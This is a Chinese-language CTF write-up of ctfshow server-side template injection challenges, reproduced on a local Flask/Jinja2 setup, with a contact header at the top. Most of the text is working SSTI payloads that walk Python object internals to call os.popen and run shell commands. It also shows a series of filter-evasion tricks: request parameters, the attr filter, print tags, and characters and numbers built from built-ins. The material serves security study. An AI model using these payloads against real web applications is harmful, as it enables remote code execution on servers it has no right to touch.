我的联系方式
微信Anylike830919
QQ1012001832
邮箱fixaapp@163.com
2021-08-06 07:04:13ans
ctfshow SSTI:
最近重新开始整理知识的工作,顺便发现了ctfshow这个平台,各个方向的题目都有数量还挺多,但是需要花钱,所以就没买。从网上找了WP大体看了看题目的设置,然后在本地自己搭了个简单的环境复现了一下。
每一题的过滤都是前面过滤的基础上加的
先找到有builtin命名空间的类,然后直接payload:
?a={{''.__class__.__mro__[1].__subclasses__()[118].__init__.__globals__['builtins'].eval('__import__("os").popen("cat flag").read()')}}
或者怎么搞都行
中括号的内容可以用request.args.x代替
同样,函数括号内的内容也可以用request.args.x代替
{{[].__class__.__mro__[1].__subclasses__()[193].__init__.__globals__[request.args.b].eval(request.args.c)}}&b=__builtins__&c=__import__('os').popen('cat flag').read()
直接用request.values等代替即可
?a={{[].__class__.__mro__[1].__subclasses__()[193].__init__.__globals__[request.values.b].eval(request.values.c)}}
POST:
b=__builtins__&c=__import__('os').popen('cat flag').read()
原题貌似不能用POST方法,那就用request.cookies.xxx,一样的
__globals__
、__getitem__
、[、]第一种方法
过滤__globals__
可以用catch_warnings类
过滤__getitem__
,由于subclasses是列表,可以用pop函数代替
?a={{().__class__.__mro__[1].__subclasses__().pop(163)._module.__builtins__.__import__(request.values.b).popen(request.values.c).read()}}
b=os&c=ls
但是发现__mro__
是元组不是列表,不能用pop函数,所以可以用__base__
来向上查到基类:
?a={{().__class__.__base__.__subclasses__().pop(163)()._module.__builtins__.__import__(request.values.b).popen(request.values.c).read()}}
b=os&c=cat flag
第二种方法
使用attr过滤器代替
至于__mro__
,可以用上述pop函数代替,也可以选择用flask内置对象和函数直接跳过这部分,例如:
{{lipsum.__globals__['__builtins__'].__import__('os').popen('ls').read()}}
用attr代替后是:
注意
?a={{((lipsum|attr(request.values.b))|attr(request.values.c)(request.values.d)).__import__(request.values.e).popen(request.values.f).read()}}
b=__globals__&c=__getitem__&d=__builtins__&e=os&f=ls
可以用{%和%}代替
?a={% print ().__class__.__base__.__subclasses__().pop(163)()._module.__builtins__.__import__(request.values.b).popen(request.values.c).read() %}
b=os&c=cat flag
同样,上面的第二种方法也是一样修改
过滤request,就只能造字符了
第一种方法
其中一种方式是找到chr()函数并定义:
{% chr=().__class__.__base__.__subclasses__().pop(163)()._module.__builtins__.chr %}
定义后直接用chr(数字)来拼接:
?a={% set chr=().__class__.__base__.__subclasses__().pop(163)()._module.__builtins__.chr %}{% print ().__class__.__base__.__subclasses__().pop(163)()._module.__builtins__.__import__(chr(111)%2bchr(115)).popen(chr(34)%2bchr(108)%2bchr(115)%2bchr(34)).read() %}
第二种方法
通过{{(config.__str__()[2])+(config.__str__()[3])}}
获得想要的字符。
第三种方法
利用内置过滤器产生任意字符
这个方法利用的是构造出’%c’字符串,然后利用python的’%c’ % (number)的语法来构造任意字符
利用flask的g对象,可以得到’%’:
{%set pc = g|lower|list|first|urlencode|first%}
然后得到’c’:
{%set c=dict(c=1).keys()|reverse|first%}
合并二者得到’%c’:
{%set udl=dict(a=pc,c=c).values()|join %}
之后可以得到任意字符:
{%set udl2=udl%(95)%}{{udl}}
合起来的payload就是:
{%set pc = g|lower|list|first|urlencode|first%}{%set c=dict(c=1).keys()|reverse|first%}{%set udl=dict(a=pc,c=c).values()|join %}{%set udl2=udl%(95)%}{{udl}}
第一种方法
数字可以直接用True和False来凑:
{% set one=True%2bFalse %}{% print one %}
得到结果1,则one就是1,其余任何数都能表示了
?a={% set chr=().__class__.__base__.__subclasses__().pop(163)()._module.__builtins__.chr %}{% print ().__class__.__base__.__subclasses__().pop(163)()._module.__builtins__.__import__(chr(111)%2bchr(115)).popen(chr(34)%2bchr(108)%2bchr(115)%2bchr(34)).read() %}
但是这样太长了,会报错:
RecursionError: maximum recursion depth exceeded while calling a Python object
所以把数字设置的大一点:
{% set c=True%2bTrue%2bTrue%2bTrue%2bTrue%2bTrue%2bTrue%2bTrue%2bTrue%2bTrue %}
这样c就是10了。那163怎么表示?16个c相加再3个True相加就好了
或者加上乘法:163=c*c+c+c+c+c+c+c+True+True+True
?a={% set c=True%2bTrue%2bTrue%2bTrue%2bTrue%2bTrue%2bTrue%2bTrue%2bTrue%2bTrue %}{% set chr=().__class__.__base__.__subclasses__().pop(c%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bTrue%2bTrue%2bTrue)()._module.__builtins__.chr %}{% print ().__class__.__base__.__subclasses__().pop(c%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bTrue%2bTrue%2bTrue)()._module.__builtins__.__import__(chr(c%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bTrue)%2bchr(c%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bTrue%2bTrue%2bTrue%2bTrue%2bTrue)).popen(chr(c%2bc%2bc%2bTrue%2bTrue%2bTrue%2bTrue)%2bchr(c%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc-True-True)%2bchr(c%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bTrue%2bTrue%2bTrue%2bTrue%2bTrue)%2bchr(c%2bc%2bc%2bTrue%2bTrue%2bTrue%2bTrue)).read() %}
(这是命令为ls的payload)
第二种方法
利用字典的键**转化为列表的项,再用count或者length统计长度来获得数字,这个方法比上面的要简单一些
{% set a=dict(aaaaaaaaa=1)|list|string %}{{a|count}}
这样就能获得长度13([‘aaaaaaaaa’]整体是一个字符串)
这题有三种盲注以及一种数据外带方式来解决,详情见另一篇SSTI的文章吧
这题应该是针对之前的第7题的利用count计数来凑数字的方法,改成length就好了……